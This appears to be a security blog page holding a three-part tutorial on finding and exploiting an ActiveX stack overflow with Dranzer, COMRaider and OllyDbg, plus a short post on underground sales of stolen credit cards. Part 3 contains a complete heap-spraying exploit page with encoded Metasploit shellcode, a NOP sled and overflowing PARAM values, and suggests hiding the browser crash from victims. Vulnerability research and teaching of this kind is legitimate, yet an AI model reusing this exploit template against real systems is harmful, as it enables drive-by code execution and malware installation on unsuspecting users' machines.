Discovering ActiveX Vulnerabilities -- Part 3 [The Exploit]

So far we have seen how to use Dranzer for discovering vulnerabilities in ActiveX objects. In this third & final part of the series we will look at creating a real world exploit from the vulnerability we discovered while fuzzing last time. This, at times, is a very challenging task. Not all vulnerabilities are that easy to exploit. It requires quite some amount of patience and luck to get things going :) !

Before we begin, I would like to tell you something more about this vulnerability. As shown from the video in part 2, it's evident that this is a case of stack based buffer overflow. We also saw that EIP & SEH both were overwritten. Now, managing to overwrite EIP, is like hitting a jackpot in Vegas or striking a gold mine for any hacker :D !!! What it means is that we can have full control of the program execution and make it do things we want.

Which also brings me to the fundamental question - So what? What's the big deal in getting this control ? In short, why am I reading this tutorial ? ;) Well the reason is, in real life something like this would get translated into letting the bad guys get control of your machine. A malicious hacker with not-so-well intentions will execute a JavaScript that exploits this ActiveX control & in turn execute a small shellcode that downloads malware onto your machine without you even noticing it. These are called as "Drive-by web attacks" that often exploit vulnerabilities in browser plugins such as adobe Flash player or PDF readers to install malware on innocent users browsing the internet.

And this is exactly what I am going to do here. But first we need to identify what part of our evil.html is actually overwriting the EIP and SEH. Once we identify that, our life is much easier. I will show how it was done in my evil.html and then you can apply the same logic to yours or any other vulnerability you know. My evil.html looks something like this -

Fig 1: My evil.html as generated by dranzer

One of the ways to do this would have to been to trace back the code in Olly using breakpoints. But a much simpler and faster way to do it is to alter the code in such a way that we get to see it in Olly itself. If you look closely, all the variables in the properties have a long string of "x" in them, which is why you got "00780078" in EIP (remember, unicode representation?). So, instead of using "x", we replace each variable with a unique string that can be identified when we debug, and save it as evil2.html like this -

Fig 2: Modified evil2.html

Now repeat the same process of executing this in IE as we did in part 2 and have a look at the registers. This time, depending on the character in EIP you will come to know the exact variable that is causing the overflow. You can even modify the number of characters inside each of the variables to narrow down to the last 2 chars that overwrite EIP when exception occurs. This is a fast and very effective method of identifying which part of the code causes the overflow. Next step now is to code the exploit.

Now, a buffer overflow vulnerability can be exploited in 100 different ways - I am going to show only one method of doing it :P ! We will use the famous Heap-spraying technique for coding the exploit. I will not discus that in details here, you can google it yourself. This method is more common with web browser vulnerabilities such as this one and involves use of JavaScript to spray (paint) the Heap with the shellcode you want to execute. Once our shellcode is all over the memory, we use the overflown EIP to "jump" to the heap area and hope to execute our shellcode.

Talking of shellcode, I have used a simple shellcode here to execute calc.exe from Metasploit Framework. One small catch here is that in order for our Javascript to load this shellcode in memory it has to be in unicode ! Don't worry, for every problem there is already a solution :) You can learn more about converting shellcodes to unicode here. So, assuming you have the shellcode ready, we will create a block of NOP+shellcode and spray it on the heap by declaring an array in Javascript. Then we modify our variable (one which causes the overflow) in such a way that EIP gets overwritten with "0c0c0c0c" and effectively we jump to our NOP+Shellcode. The whole exploit should look something like this -

<html><body>
<SCRIPT language="javascript">
shellcode = unescape(
"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<512;i++) memory[i] = block + shellcode;

var krapSlide = unescape("%u0c0c");
while (krapSlide.length<5000)
{krapSlide += krapSlide;}

var junkSlide = unescape("%u0x0x");
while (junkSlide.length<1000)
{junkSlide += junkSlide;}

document.write("<object id=TestObj classid=\"CLSID:{XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXX}\" style=\"width:100;height:100\">");
document.write("<PARAM NAME=\"IServer\" VALUE=\""+junkSlide+"\">");
document.write("<PARAM NAME=\"IFailLink\" VALUE=\""+krapSlide+"\">");
document.write("</object>");
</SCRIPT>
</body></html>

Note that I am using only 2 variables here, which I know are causing the overflow based on results of my evil2.html debugging. Rest is pretty much standard Heap-spraying code you will find on most of the ActiveX exploits. Now, save that file as "0wned.html" and execute it in IE. Here is the whole thing in action -

Yay !! You've have officially been pwned :) !! In my case I am using IE 7 on WinXP SP3. Normally, in IE 8 or above you would get the "ActiveX content blocked" bar on top and you need to allow the content to run for the exploit to work. Also, notice how the IE window just disappears. This is because in the process of overwriting registers, we destroyed the exception handler(SEH) too ! You can avoid the IE crash by writing your own SEH code thus not letting the end user know anything ever happened. But I will leave that to you as an exercise.

Hope you make good use of what you've just learned. This by no means is a comprehensive tutorial. I tried to explain you everything in short. The actually process of discovering and exploiting may take days and months of hard work. Just a suggestion to all readers who are learning vulnerability research - "Always follow good principles of vulnerability disclosure. If you happen to discover new vulnerabilities, always try and work with the vendor first to fix it and then disclose the information to others".

Questions/Suggestions/Comments welcome ! :)

Credit Cards for sale ??

Ever wondered what do malware authors gain by writing malicious code ?? Well, if this question was asked a decade ago, the answer would be slightly different than what it is today ! The so called "underground" scene was totally different from what it is today. Those days it would be for fun or showing of real hacker skills. Now-a-days it's just about earning quick bucks and big bucks !!

Like stealing credit card numbers and bank account information for instance. Can you believe there are websites that openly sell stolen credit card numbers ?!! The way this works is - malware authors generally write password stealing bots that have a keylogger installed in the infected machine that records information entered inside your browser. This information is then silently sent out through a backdoor channel to the bad guys who control the bot and gather such information from thousands of infected machines. The information is either traded individually or they offer control of the bot to further cyber criminals who in-turn use the bot to steal more information to sell in the black market.

Fig 1: Credit Card information sale on forum

Researchers claim that upto 400 new credit card numbers appear everyday for sale !! That's a big number. The guys who sell these numbers even offer a 24 hour replacement guarantee incase the number is not working as well as technical support in multiple languages ! I am completely amazed as to how openly this is being advertised on the internet. Such sale happens on website that are generally hosted as a blog or on forums.

Fig 2: Blog offering stolen Credit Card & CVV numbers

Prices of these Credit Card numbers vary as per country ranging from as low as a few cents to 35$ for some European countries. Not only Credit Card numbers but bank account credentials are also traded online for anywhere from $10 to $1,000, and "full identities"—which include date of birth, address, and social security and telephone numbers—selling for between $1 and $15. This whole thing is a business - a well setup and well paid one !

Fig 3: Banking accounts for sale

It's not that these things haven't been tracked and taken down, but every time a bot network is brought down, a new one comes up. Business is good. Internet criminals operate with de facto immunity. The pool of vulnerable computers to exploit remains massive. Affected customers get away with refunds from banks and banks get it from their insurance companies. Antivirus researchers keep coming up with signatures to detect the bots, whereas the cyber criminals are always one step ahead in creating new variants ! The target financial institutions still treat their crime as acceptable loss. It's a endless cycle :(

All we can do is be a little more careful when it comes down to Internet banking ! BTW.. for those who thought using virtual keyboard for entering your netbanking username password was safe - think again ! There is a software code called Briz that captures the pixels around the cursor, the very pictures of the characters you are clicking on the virtual keyboard ! Nothing in this cyberworld is secure... EVER !

Discovering ActiveX Vulnerabilities -- Part 2 [Fuzzing]

So, continuing from where we left of last time, we will be looking at the Dranzer fuzzing tool in detail in this part. In case, you landed here directly and are wondering what this is all about, I suggest you have a look here first.

Dranzer is a well documented tool and I also suggest you have look at their documentation before starting with this so that you will be familiar with it in general. It's a very simple yet powerful tool. So, assuming you have read the first part, you should now have with you a fresh WinXP machine with Dranzer, OllyDbg, a text editor installed and the ActiveX "Classid" you want to fuzz. A note here, "Classid" is sometimes referred to as the "GUID", so do not get confused. They both mean the same thing.

All right, since Dranzer is a command line tool, fire up your command prompt and go to the Dranzer default directory which is "C:\Program Files\Dranzer\Dranzer\Release". Create a text file say "CLSID_to_test.txt" and add your ActiveX classid to that file. It should look something like this - "{EFB46ED3-8FD8-...}". If you have multiple classid's to fuzz you can add them one below the other in this file. Save the file.

Step 1: Run Dranzer with the following parameters - "Dranzer.exe -i CLSID_to_test.txt -t". You should get something like this on the screen -

Fig 1: Running Dranzer from command prompt

The "-t" switch basically tells Dranzer to test the "Interfaces Properties and Methods" for the ActiveX control. In my case all the tests passed, so nothing interesting here. Please note that I have purposely censored the ActiveX control information since the vulnerability has not been patched yet. In case you get a failed test here, you can directly go to step 3. You can also use the "-b" load in browser option, but frankly I haven't found it that useful.

Step2: Next, let's check the ActiveX control's "PropertyBag" using the following command - "Dranzer.exe -i CLSID_to_test.txt -p". This is what I got -

Fig 2: Dranzer detecting crash

Looks like we got a crash ! Now Dranzer tries to gather as much information about the crash as possible and prints it on the console. If you happen to find that cumbersome, you can always use the "-o filename.log" switch to save the output to a log file and view it later. Coming back to my crash, Dranzer says it's a "Exception Access Violation". Now as hackers or vulnerability researchers, a memory access violation is thing you really want to see, trust me ! ;) .. In lay mans terms it means something is abnormal and that some registers were arbitrarily overwritten with junk when IE tried to parse the file generated by Dranzer.

Step3: To see if the access violations can be exploited or not we need to use a debugger, which will allow us to debug the crash in detail as well as give us more information on what is being overwritten. Whenever Dranzer detects a crash, it conveniently saves the code that caused the crash in a html file in it's directory. The name of that file is the {classid}.html and is nothing but the Proof-of-Concept (PoC) for the vulnerability. In my case I have renamed the file as evil.html. Since it will be tedious to explain working of Olly using screenshots, I decided to make a small flash movie of it. Hopefully, it will be much easier to understand by watching how it's done.

What I am doing here is basically opening IE from within the debugger which will help us see the state of various registers as IE crashes. As you can see, along with the registers the Structured Exception Handler (SEH) as well as Execution pointer (EIP) gets overwritten. Those are typical symptoms of a classic stack based Buffer overflow vulnerability. In the video I also showed you how to use the "Call Stack" command in Olly to trace the vulnerable function which in this case is wcscpy() and which also happens to be the unicode version of strcpy(). These functions are known to cause overflows when used improperly. By adding breakpoints and repeating the same steps you can further trace the vulnerable code.

So, now you have seen how Dranzer can be used discover flaws in ActiveX components as well as how to use Olly to debug crashes. There are some other options with Dranzer as well which I will leave it to you to explore. In Part 3, I will show how we can use this information and convert the PoC into a real world exploit.

Hope you found this useful. Remember, discovering vulnerabilities needs tremendous amounts of patience. It may not be so easy for you to find a vulnerability every time or even to debug it for that matter, so keep trying !

Happy fuzzing :) !

Discovering ActiveX Vulnerabilities -- Part 1 [ Introduction ]

Recently, I discovered a vulnerability in a ActiveX control. Before starting with the discovery, I had absolutely no clue as to how to discover and exploit vulnerabilities in ActiveX. I learned the hard way, so finally I decided to make a small tutorial that could make life easier for guys like me :) ! In this 3 part series, I will be covering how to use ActiveX fuzzers to find vulnerabilities in COM Objects. I won't be covering all the basics in details, but I will show you how to discover vulnerability using a Fuzzer and then how to code a PoC or exploit for it. This tutorial assumes that you have a basic understanding of how debuggers work and know how to use them.

Ok, let's start with a quick round of basics for those who don't have a clue as to what I have spoken so far. So, what's fuzzing ?

"Fuzz testing or fuzzing is a software testing technique that provides invalid, unexpected, or random data to the inputs of a program. If the program fails (for example, by crashing or failing built-in code assertions), the defects can be noted." -- Wikipedia

When you apply that terminology to ActiveX or COM Objects it's called ActiveX fuzzing. So, what's the big deal you may ask. Well, these COM objects in some cases are exposed through Internet Explorer. That makes them vulnerable and easy targets for exploitation on the internet. By using a specially crafted web page, an attacker may exploit the vulnerability in a ActiveX control and execute arbitrary code on the victims machine, as you will see by the end of this tutorial :) !

Basically, I will show you how I discovered the vulnerability, what steps I took to debug it and finally come up with the exploit. Unfortunately, I can't disclose too much details about the vulnerability itself as the vendor is still working on a fix. Never the less, you can definitely use the same technique and apply it on other ActiveX objects to discover new bugs as well ! In this part, I will cover the basic introduction. In the second part I will show you how to use the tools to discover a vulnerability in a ActiveX control and in the third part I will show you how to code a exploit for the vulnerability that we have discovered.

For the tutorial, we will be using tools such as Ollydbg, Dranzer, COMRaider and your favorite text editor (mine is Notepad++). So, go get these installed on your system and get yourself familiarized with these tools. I will not spend time on that here otherwise this tutorial will become thrice its size :P ! There are lot of ActiveX Fuzzing tools out there but my personal favorite is Dranzer and COMRaider. Again, you could use the debugger of your choice, it's just that I happen to know Olly better. I would also recommend a clean and fresh Windows environment to start with. Fuzzing often tends to use up a lot of resources, so I would suggest using a clean windows setup with minimum software installed on it. Avoid using Antivirus when fuzzing as it will futher slow it down.

Allrighty, to begin with the fuzzing, we first need to know the class identifier for the COM object we are trying to fuzz. Every ActiveX object has a "Classid" or "clsid" which is a unique registry-identifying component that is used to identify an ActiveX control. The "Classid" is embedded in the webpage code using "object" tags. Internet explorer processes the "object" tag in the HTML code and then checks to see if the COM object is installed on the system. If present, it will invoke it and start using the methods in the class as per the code.

Typically it's the methods inside a particular class, that can have some vulnerability due to improper coding. So, to see the methods supported by the ActiveX control we will use COMRaider. There are multiple ways of doing this - if you know the classid of the software you are trying to Fuzz, you can use it directly in COMRaider or you could search for the .ocx/.dll file directly from the location where the control was installed (like Program files). Once you have entered the required information you can view the different methods supported by that ActiveX control. COMRaider has a excellent GUI and is great tool to find out information about ActiveX control you are trying to use or fuzz.

Fig 1: Example showing ActiveX info in COMRaider

Next, you can right-click any of the methods or fuctions and choose to fuzz the library or the interface, and start fuzzing - but we will not use COMRaider for this. This is where Dranzer comes into the picture. It's much much faster than COMRaider when it comes down to fuzzing but its a command line tool. Note that Dranzer can also give you information about the COM object you are trying to fuzz but that information is limited. So, I often use combination of these two tools for fuzzing.

So, that's it folks for now, I will see you again in the Part 2 where I will cover Dranzer in details as well as using Olly to debug IE crashes.

References:
ActiveX -- Introduction to using ActiveX on the web
OllyDbg -- The Olly debugger for debugging and disassembly.
Dranzer -- The Dranzer ActiveX Fuzzer
COMRaider -- COMRaider ActiveX Fuzzer